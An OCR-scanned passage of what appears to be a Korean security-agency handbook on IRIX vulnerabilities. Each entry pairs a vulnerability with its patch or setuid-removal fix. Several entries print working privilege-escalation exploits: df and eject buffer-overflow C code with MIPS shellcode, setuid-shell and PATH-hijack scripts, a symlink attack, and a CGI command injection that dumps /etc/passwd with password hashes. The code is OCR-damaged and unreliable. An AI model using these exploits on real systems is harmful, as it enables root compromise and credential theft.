/var/tmp/csetupLog -> /usr/sbin/sgihelp

IRIS 121%

ꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏ

Page 691: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

IRIS 122% /usr/Cadmin/bin/csetup

IRIS 123% ls -ld /var/tmp/csetupLog

lrwxr-xr-x 1 kadosu user 17 Oct 31 00:11

/var/tmp/csetupLog -> /usr/sbin/sgihelp

IRIS 124% ls -ld /usr/sbin/sgihelp

-rwxr-xr-x 1 root sys 189 Oct 31 00:13 /usr/sbin/sgihelp

IRIS 125% cat /usr/sbin/sgihelp

Remote Host: IRIS.kisa.or.kr Address : 127.1

Set Initial Timeout (objectserver) : 180

Get Lego objects info

Finished Loading objects info

Networking Panel initialization complete!

IRIS 126%

ꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏꠏ

Page 692: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

datman-IRIX-입력해석

datman-IRIX-parsing

Page 693: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

datman-IRIX-parsing

datman-IRIX-입력해석

문서번호

KH98-082

문서제목

datman-IRIX-입력해석(datman-IRIX-parsing)

관련 응용프로그램

/usr/bin/datman

관련 운영체제

IRIX 5.3/6.2

취약점 분석

취약점 이해

- datman 프로그램은 DAT 드라이브에서 오디오테이프를 재생하거나 녹음하는 프로그램이

다.

- datman 프로그램은 받아들이는 인수를 system같은 함수로 처리한다.

- 일반사용자가 백도어 프로그램을 실행하여 root권한을 획득할 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- datman 프로그램이 받아들이는 인수를 system같은 함수로 처리하는 것을 악용하여 일반

사용자가 root권한으로 백도어 프로그램을 실행하여 루트권한을 획득할 수 있다.

해킹 소스 프로그램

해킹시험 결과

# uname -a

IRIX IRIS 6.2 03131015 IP22

# id

uid=1111(kadosu) gid=20(user) euid=0(root)

# exit

Page 694: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

IRIS 16% id

uid=1111(kadosu) gid=20(user)

IRIS 17% cat >/tmp/makesh.c

main()

{

seteuid(0); setegid(0);

system("cp/bin/sh/tmp;chmod a=rsx /tmp/sh");

}

IRIS 18% cc/tmp/makesh.c -o /tmp/makesh

IRIS 19% pwd

/usr/bin/...

IRIS 20% cd ~

IRIS 21% pwd

/usr/people/kadosu

IRIS 22% ls -a .*

.cshrc .login .profile .sgihelprc

.:

. .cddb . desktop-IRIS .login

.sgihelprc Remote

.. .cshrc .ebtpriv .profile Host

..:

. .. guest kadosu serene

.cddb:

. ..

.desktop-IRIS:

. .. log

.ebtpriv:

IRIS 23% mv .cddb .cddb.old

IRIS 24% touch .cdplayerrc

IRIS 25% /usr/sbin/datman -dbcdir "/tmp/blah:/tmp/makesh"

IRIS 26% Created "tmp/blah"

Converting /usr/people/kadosu/.cdplayerrc into /tmp/blah

Can't find color named sgislateblue

IRIS 26% ls -l /tmp/sh

-r-sr-sr-x 1 root sys 198788 Nov 2 19:03 /tmp/sh

IRIS 27% id

uid=1111(kadosu) gid=20(user)

Page 695: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

IRIS 28% /tmp/sh

#id

uid=1111(kadosu) gid=20(user) euid=0(root) egid=0(sys)

#

해킹흔적 확인방법

대응방법

패치설치

- 다음의 패치를 설치한다.

Patch #2243 - security fixes for dmedia

http://www.fm.fh-muenchen.de:8080/internet-services/software/src/platforms/sgi/patc

hes/descriptions/patch2243.desc.html

임시조치

- 임시로 setuid bit를 제거한다.

# chmod -s /usr/sbin/datman

Page 696: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

day5notifier-IRIX-입력해석

day5notifier-IRIX-parsing

Page 697: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

day5notifier-IRIX-parsing

day5notifier-IRIX-입력해석

문서번호

KH98-083

문서제목

day5notifier-IRIX-입력해석(day5notifier-IRIX-parsing)

관련 응용프로그램

/var/www/htdocs/whatsNew/CustReg/day5notifier

관련 운영체제

IRIX 6.2

취약점 분석

취약점 이해

- day5notifier에는 setuid root 권한이 설정되어 있다.

- day5notifier는 실행중 crontab프로그램을 호출하는데, 일반사용자가 백도어 crontab을

만들어 day5notifier 실행시 백도어 프로그램이 실행되도록 할 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- day5notifier는 실행중 crontab프로그램을 호출하는데 일반사용자가 백도어 crontab을

작성하여 day5notifier를 실행할 때 백도어 프로그램이 실행되도록 하여 관리자 권한을 획

득할 수 있다.

해킹소스 프로그램

해킹시험 결과

$ ps

PID TTY TIME 층

27124 ttyq0 0:00 csh

27137 ttyq0 0:00 sh

27138 ttyq0 0:00 ps

Page 698: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

$ mkdir /tmp/emptydir.$$

$ cd /tmp/emptydir.$$

$ cat >crontab

cp /bin/sh ./suidshell

chmod 4755 suidshell

$ chmod +x crontab

$ PATH=.:$PATH

$ export PATH

$ /var/www/htdocs/WhatsNew/CusReg/day5notifier -procs 0

$ id

uid=1111(kadosu) gid=20(user)

$ ./suidshell

# id

uid=1111(kadosu) gid=20(user) euid=0(root)

# uname -a

IRIX IRIS 6.2 03131015 IP22

#

해킹흔적 확인방법

대응방법

패치설치

임시조치

- day5notifier 프로그램으로부터 setuid 루트권한을 제거한다.

# chmod u-s /var/www/htdocs/WhatsNew/CusReg/day5notifier

Page 699: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

df-IRIX-오버플로우

df-IRIX-overflow

Page 700: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

df-IRIX-overflow

df-IRIX-오버플로우

문서번호

KH98-084

문서제목

df-IRIX-오버플로우(df-IRIX-overflow)

관련 응용프로그램

/usr/sbin/df

관련 운영체제

IRIX 5.3/6.2/6.3

취약점 분석

취약점 이해

- df 명령은 setuid root 프로그램(setuid 비트가 설정된 루트소유의 파일)이다.

- df 명령은 받아들이는 인수에서 인수길이검사를 하지않기에 일반사용자가 스택버퍼 오버

플로우를 일으켜 루트의 권한을 획득할 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- df에 교묘히 설계된 인수를 제공하여 실행시키면 내부 스텍을 오버플로우시킨 후 제공된

이진 코드를 실행하게된다.

- 이때 df는 루트 권한으로 수행중이었기 때문에 제공된 이진 코드도 루트권한으로 수행된

다. 이를 이용하여 임의의 명령을 수행시킬 수 있으며 특히 루트 권한의 쉘을 얻을 수도 있

다.

해킹 소스 프로그램

#include <stdlib.h>

#include <fcntl.h>

Page 701: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

#define BUFSIZE 2061

#define OFFS 800

#define ADDRS 2

#define ALIGN 0

void run(unsigned char *buf) {

execl("/usr/sbin/df", "df", buf, NULL);

printf("execl failed₩n");

}

char

asmcode[]="₩x3c₩x18₩x2f₩x62₩x37₩x18₩x69₩x6e₩x3c₩x19₩x2f₩x73₩x37

₩x39₩x68₩x2e₩xaf₩

xb8₩xff₩xf8₩xaf₩xb9₩xff₩xfc₩xa3₩xa0₩xff₩xff₩x27₩xa4₩xff₩xf8₩x27₩xa

5₩xff₩xf0₩x01₩x60₩x30

₩x24₩xaf₩xa4₩xff₩xf0₩xaf₩xa0₩xff₩xf4₩x24₩x02₩x04₩x23₩x02₩x04₩x8

d₩x0c";

char nop[]="₩x24₩x0f₩x12₩x34";

unsigned long get_sp(void) {

_asm_("or $2,$sp,$0");

}

/* this align stuff sux - i do know. */

main(int argc, char *argv[]) {

char *buf, *ptr, addr[8];

int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;

int i, noplen=strlen(nop);

if (argc >1) bufsize=atoi(argv[1]);

if (argc >2) offs=atoi(argv[2]);

if (argc >3) addrs=atoi(argv[3]);

if (argc >4 align=atoi(argv[4]);

if (bufsize<strlen(asmcode)) {

printf("bufsize too small, code is %d bytes long₩n"

strlen(asmcode));

exit(1);

}

if ((buf=malloc(bufsize+ADDRS<<2+noplen+1))==NULL) {

Page 702: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

printf("Cant's malloc₩n");

exit(1);

}

*(int *)addr=get_sp()+offs;

printf("address - %p₩n", *(int *)addr);

strcpy(buf, nop);

ptr=buf+noplen;

buf+=noplen-bufsize % noplen;

bufsize-=bufsize % noplen;

for (i=0; i<bufsize; i++)

*ptr++=nop[i % noplen];

memcpy(ptr-strlen(asmcode), asmcode, strlen(asmcode));

memcpy(ptr, nop, strlen(nop));

ptr+=align;

for (i=0; i<addrs<<2; i++)

*ptr++=addr[i % sizeof(int)];

*ptr=0

printf("total buf len - %d₩n", strlen(buf));

run(buf);

}

해킹시험 결과

$ id

uid=1111(kadosu) gid=20(user)

$ ./df2.c

./df2.c: Cannot execute

$ ls -al ./df2.c

-rw-r--r-- 1 kadosu user 2620 Nov 2 17:42 ./df2.c

$ ./df2

stack = 0x7fff2f08, targ_addr = 0x7fff3108

Filesystem Type blocks use avail %use Mounted on

UX:df: ERROR: Cannot get status from

Page 703: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%

星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%

星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%

星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%

星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%

星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%

星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%

星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%

星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%

星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%

星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%

星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%

星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%

星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%

星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%星%

星%星%星%星%星%星%星%星%星%星%星

0*#, 「 E $/bin/

# id

uid=1111(kadosu) gid=20(user) euid=0(root)

#

해킹흔적 확인방법

대응방법

패치 설치

- IRIX 6.2 patch: 2177

임시조치

- df 프로그램으로부터 setuid 루트권한을 제거한다.

# chmod u-s /usr/sbin/df

Page 704: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

eject-IRIX-오버플로우

eject-IRIX-overflow

Page 705: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

eject-IRIX-overflow

eject-IRIX-오버플로우

문서번호

KH98-085

문서제목

eject-IRIX-오버플로우(eject-IRIX-overflow)

관련 응용프로그램

IRIX eject 버퍼오버플로우 취약점

관련 운영체제

IRIX 6.2

취약점 분석

취약점 이해

- eject 명령은 setuid root 프로그램(setuid 비트가 설정된 루트소유의 파일)이다.

- eject 명령은 옵션없이 디바이스 이름을 인수로 받게되어있다. 그러나, 인수길이검사를

않기에 일반사용자가 스택버퍼오버플로우를 일으켜 루트의 권한을 획득할 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- eject에 교묘히 설계된 인수를 제공하여 실행시키면 내부 스텍을 오버플로우시킨 후 제공

된 이진 코드를 실행하게된다.

- 이때 eject는 루트 권한으로 수행중이었기 때문에 제공된 이진 코드도 루트권한으로 수행

된다. 이를 이용하여 임의의 명령을 수행시킬 수 있으며 특히 루트 권한의 쉘을 얻을 수도

있다.

해킹 소스 프로그램

- 첨부

Page 706: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

IRIS 39% id

uid=1111(kadosu) gid=20(user)

IRIS 40% uname -a

IRIS IRIS 6.2 03131015 IP22

0IRIS 41.% cc -o eject_ov eject_ov.c

IRIS 42% ./eject_ov

address=7fff3218

buflen=2080

# id

uid=1111(kadosu) gid=20(user) euid=0(root)

해킹흔적 확인방법

대응방법

패치 설치

- IRIX 6.2 patch:2177

임시 조치

- eject 프로그램으로부터 setuid 루트권한을 제거한다.

# chmod u-s/usr/sbin/eject

Page 707: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련소스

/*/usr/sbin/eject exploit by DCRH 25/5/97

*

* Tested on: R8000 Power Challenge (Irix 64 6.2)

*

* Exploit doesn't work on Irix 5.x due to stack position

* Irix 6.3 does not appear to be vulnearable

*

* complie a : cc -n32 eject.c

*/

#include<stdio.h>

#include<stdlib.h>

#include<string.h>

#include<sys/types.h>

#include<unistd.h>

#define NUM_ADDRESSES 80

#define BUF_LENGTH 400

#define EXTRA 200

#define OFFSET -0x128

#define GP_OFFSET 32412

#define IRIX_NOP 0x0e0f825 /* move $ra$ra */

#define u_long unsigned

u_long get_sp_code[ ] = {

0x03e01025, /*move $v0,$sp */

0x03e00008, /*jr$ra */

0x00000000, /*nop */

};

u_long irix_shellcode[ ] = {

0x24041234, /* li $4.0x1234 */

0x2084edcc, /* sub $4.0x1234 */

0x0491fffe, /* bgezal $4,pc-4 */

0x03bd302a, /* sgt $6,$sp,$sp */

Page 708: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

0x23e4012c, /* addi $4,$31,264+36 */

0xa086feff, /* 뉴,$6,-264+7($4) */

0x2084fef8, /* sub $4,264 */

0x20850110, /* addi $5,$4,264+8 */

0xaca4fef8, /* sv $4,-264($5) */

0xaca6fefc, /* sv $4,-260($5) */

0x20a5fef8, /* sub $5, 264 */

0x24203f3, /* li $v0,1011 */

0x03ffffcc, /* syscall 0xfffff */

0x2f62696e, /* "/bin" */

0x2f7368ff, /* "/sn“ */

};

char buf[NUM_ADDRESSES+BUF_LENGTH+EXTRA+8];

void main(int argc, char **argv)

{

char *env[ ] = {NULL};

u_long targ_addr, stack;

u_long *long_p;

int I, code_length=strlen((char *)irix_shellcode)+1;

u_long (*get_sp)(void)=(u_long(*)(void))get_sp_code;

stack=get_sp();

if (stack & 0x8000000){

printf("Recompile with the '-n32' option₩n");

exit(1);

}

long_p = (u_long *) buf;

targ_addr = stack + OFFSET;

if (argc>1)

targ_addr += atoi(argv[1]) * 4;

if (targ_addr + GP_OFFSET > 0x80000000) {

printf("Sorry - this exploit for Irix 6.x only₩n");

exit(1);

}

Page 709: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

while ((targ_addr & 0xff000000) == 0 ||

(targ_addr & 0x00ff0000) == 0 ||

(targ_addr & 0x0000ff00) == 0 ||

(targ_addr & 0x000000ff) == 0)

targ_addr += 4;

for (i=0; i<NUM_ADDRESSES/sizeof(u_long); i++)

*long_p++ = targ_addr + NUM_ADDRESSES/2;

for (i=0; i<BUF_LENGTH - code_lngth) / sizeof(u_long);

i++)

*long_p++ = IRIX_NOP;

for (i=0; i<code_length/sizeof(u_long); i++);

*long_p++ = irix_shellcode[i];

for (i=0; i<EXTRA/sizeof(u_long); i++)

*long_p++ = targ_addr + GP_OFFSET;

*long_p = 0;

printf("stack = 0x%x, targ_addr = 0x%x₩n", stack, targ_addr);

execle("/usr/sbin/eject", "eject", buf, 0, env);

perror("execl failed");

}

Page 710: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

fsdump-IRIX-임시파일

fsdump-IRIX-tmpfile

Page 711: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

fsdump-IRIX-tmpfile

fsdump-IRIX-임시파일

문서번호

KH98-086

문서제목

fsdump-IRIX-임시파일(fsdump-IRIX-tmpfile)

관련응용프로그램

/var/rfindd/fsdump

관련 운영체제

IRIX 5.x/6.0/6.0.1/6.1/6.2

취약점 분석

취약점 이해

- fsdump 프로그램의 인수처리 문제로 인해 일반사용자가 root 소유의 파일을 일반사용자

소유로 변환시킬 수 있다.

취약점 확인 방법

- chkconfig rfindd off

해킹수법 분석

해킹수법 이해

- fsdump 프로그램의 인수처리 문제로 인해 일반사용자가 패스워드 파일과 같은 root 소

유의 파일을 일반사용자 소유로 변환시켜서 시스템에 불법적인 접근을 할 수 있다.

해킹 소스 프로그램

해킹시험 결과

IRIs 60% ls -ld /etc/pass*

-rw-r--r-- 1 root user 1291 Oct 30 21:54 /etc/passwd

-rw-r--r-- 1 root sys 347 Jun 25 20:08 /etc/passwd.sgi

-rw-r--r-- 1 root sys 1291 Nov 2 20:51 /eetc/password

IRIS 61% id

uid=1111(kadosu) gud=20(user)

IRIS 62% uname -a

IRIX IRIS 6.2 03131015 IP22

IRIS 63% ln -s /etc/password rfd.lock

IRIS 64% ls -id /etc/password

Page 712: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

-rw-r--r-- 1 root sys 1291 Nov 2 20:51 /etc/password

IRIS 65% /var/rfindd/fsdump -F/tmp/rfd/

Number of inodes total 7655424; allocated 30676

Collecting garbage.

Stopped

IRIS 66% bg

[1] + /var/rfindd/fsdump -F/tmp/rfd/&

IRIS 67% 18.94 seconds to read inodes

ls -ld /etc/passwd

-rw-r--r-- 1 root user 1291 Oct 30 21:54 /etc/passwd

IRIS 68% ls -ld /password

-rw-r--r-- 1 root sys 0 Nov 2 20:53 /etc/password

IRIS 69% 22.50 seconds to scan directories

0.07 seconds to pack names

0.30 seconds to qsort hp_dndx

14.64 seconds to set SYMLINK fenv

Total memory used: 3.06 MBytes

3.75 seconds to do dump

61.04 seconds TOTAL fsdump time

═════════════════════

IRIS 69% more /etc/password

IRIS 70% /var/rfindd/fsdump -F/tmp/rfd/

IRIS 71% ls -lrt /tmp

total 6800

drwxrwxrwx 2 kadosu user 25 Nov 2 16:54 emptydir.27050

drwxrwxrwx 2 kadosu user 25 Nov 2 16:54 emptydir.27055

drwxrwxrwx 2 kadosu user 9 Nov 2 17:01 emptydir.21222

drwxr-xr-x 2 kadosu user 9 Nov 2 17:02 emptydir.27096

drwxr-xr-x 2 kadosu user 43 Nov 2 16:54 emptydir.27050

-rw-r--r-x 1 kadosu user 102 Nov 2 19:01 makesh.c

-rwxr-xr-x 1 kadosu user 11976 Nov 2 19:01 makesh

drwxr-xr-x 2 kadosu user 9 Nov 2 19:03 blah

-r-sr-sr-x 1 root sys 198788 Nov 2 19:03 sh

-rw-r--r-- 1 kadosu user 0 Nov 2 20:54 fsdump,dir

-rw-r--r-- 1 kadosu user 1024 Nov 2 20:54 fsdump.pag

-rw------ 1 root user 0 Nov 2 20:58 rfd.lock

-rw-r--r-- 1 kadosu user 3260416 Nov 2 20:58 rfd

IRIS 72% ls -ld /tmp/rfd.lock

-rw----- 1 root user 0 Nov 2 20:58 /tmp/rfd.lock

IRIS 73% ls -ld /etc/password

-rw-r--r-- 1 kadosu user 341 Nov 2 20:58 /etc/password

Page 713: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹흔적 확인방법

대응방법

패치설치

임시조치

- fsdump 프로그램으로부터 setuid 루트권한을 제거한다.

# chmod u-s /var/rfindd/fsdump

Page 714: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

handler_CGI-IRIX-입력해석

handler_CGI-IRIX-parsing

Page 715: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

handler_CGI-IRIX-parsing

handler_CGI-IRIX-입력해석

문서번호

KH98-087

문서제목

handler_CGI-IRIX-입력해석(handler_CGI-IRIX-parsing)

관련응용프로그램

/cgi_bin/handler

관련 운영체제

IRIX 5.3/6.2/6.3/6.4

취약점 분석

취약점 이해

- handler cgi 가 사용자 입력부분을 처리하는 과정에서 취약점으로 인해 원격사용자가 임

의의 명령을 웹서버 수행권한으로 실행시킬 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- handler cgi의 시용자 입력부분을 처리하는데 취약점으로 인해 원격사용자가 임의의 명

령을 웹서버 수행권한으로 패스워드 파일을 획득할 수 있다.

해킹 소스 프로그램

해킹시험 결과

telnet 210.116.239.57 80

Trying 210.116.239.57 ...

Connected to 210.116.239.57.

Escape character is '^]'.

GET /cgi-bin/handler/whatever;cat etc/passwd| ?data=Download

HTTP/1.0

UX:sh (sh): ERROR: HTTP/1.0 20 Document follows

Date: Mon, 03 Nov 1997 06:13:15 GMT

Server: NCSA/1.401

Content-type: application/octet-stream

Page 716: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

root:dYSj1Gkc4Lms2:0:0:Super-user:/:/bin/csh

sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh

diag:*:0:9963:Hardware Diagnostics:/usr/diags:/bin/csh

daemon:*:1:1:daemons:/:/dev/null

bin:*:2:2:System Tools Owner:bin:/dev/null

uucp:*:3:5:UUCP Owner :/usr/lib/uucp:/bin/csh

sys:*:4:0:System Activity Owner:/var/adm:/bin/sh

adm:*:5:3:Accounting Files Owner :/var/adm:/bin/sh

lp::9:9:Print Spooler Owner:/var/spool/lp:/bin/sh

nuucp::10:10:Remote UUCP User:/var/spool/uucppublic:usr/lib/uucp/uucico

auditor:*:11:0:Adult Activity Owner:/auditor:/bin/sh

dbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/sh

rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh

EZsetup::992:998:System Setup:/var/sysadmdesktop/EZsetup:/bin/csh

demos::993:997:Demonstration User:/usr/demos:/bin/csh

OutOfBox::995:997:Out ofBox Exprience:/usr/people/tour:/bin/csh

guest::998:998:guest Account:/usr/people/guest:/bin/csh

4Dgifts::999:998:4Dgifts Account:/usr/people/4Dgifts:/bin/csh

nobody:*:60001:60001:SVR4 nobody uid:/dev/null:/dev/null

noaccess:*:60002:60002:uid no access:/dev/null:/dev/null

nobody:*:-2:-2:original nobody uid:/dev/null:/dev/null

serene:bFvUqEL2NxG5c:1110:20:SangJeong Kim:/usr/people/serene:/bin/csh

kadosu:LPKai2b/mhW8Q:1111:20:SHIN

HOON,332-3869,KISA:/usr/people/kadosu:/bin/csh

Connection closed by foreign host.

flat#

해킹흔적 확인방법

대응방법

패치설치

OS Version Vulnerable? Patch#

IRIX 3.x no

IRIX 4.x no

IRIX 5.0.x no

IRIX 5.1.x no

IRIX 5.2 no

IRIX 5.3 yes 2315

IRIX 6.0.x yes not avail

IRIX 6.1 yes not avail

IRIX 6.2 yes 2314

Page 717: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

IRIX 6.3 yes 2338

IRIX 6.4 yes 2338

임시조치

- handler.cgi를 사용하지 않는다.

Page 718: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

login LOCKOUT-IRIX-구성

login LOCKOUT-IRIX-config

Page 719: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

login LOCKOUT-IRIX-config

login LOCKOUT-IRIX-구성

문서번호

KH98-088

문서제목

login LOCKOUT-IRIX-구성(login LOCKOUT-IRIX-config)

관련응용프로그램

/etc/default/login

관련 운영체제

IRIX 5.3/6.2

취약점 분석

취약점 이해

- LOCKOUT은 원래 보안상의 이유로 설정되어 있지만 악의의 사용자에 의해서 특정 계정

에 대해 login을 허락하지 않도록 하는 서비스 거부공격에 이용될 수 있다.

취약점 확인 방법

- /etc/default/login 파일내의 LOCKOUT값이 0보다 크면 서비스 거부공격에 이용될 수 있

다.

해킹수법 분석

해킹수법 이해

- LOCKOUT은 원래 보안상의 이유로 설정되어 있지만 악의의 사용자가 특정 계정에 대해

의도적으로 login실패를 해서 이후 login을 허락하지 않도록 하는 서비스거부 공격에 이용

될 수 있다.

해킹 소스 프로그램

해킹시험 결과

telnet 210.116.239.57

Trying 210.116.239.57...

Connected to 210.116.239.57.

Escape character is '^]'.

Page 720: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

IRIX(IRIS)

login: ../../etc/something

Password:

UX:login:ERROR:Login incorrect

login:

════════════════

IRIS 78# ls -ld /etc/something

-rw---- 1 root sys 1 Nov 3 01:38 /etc/something

해킹흔적 확인방법

대응방법

패치설치

- IRIX 6.2 패치:2181

임시조치

- /etc/default/login의 LOCKOUT=0으로 한다.

Page 721: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

login-IRIX-오버플로우

login-IRIX-overflow

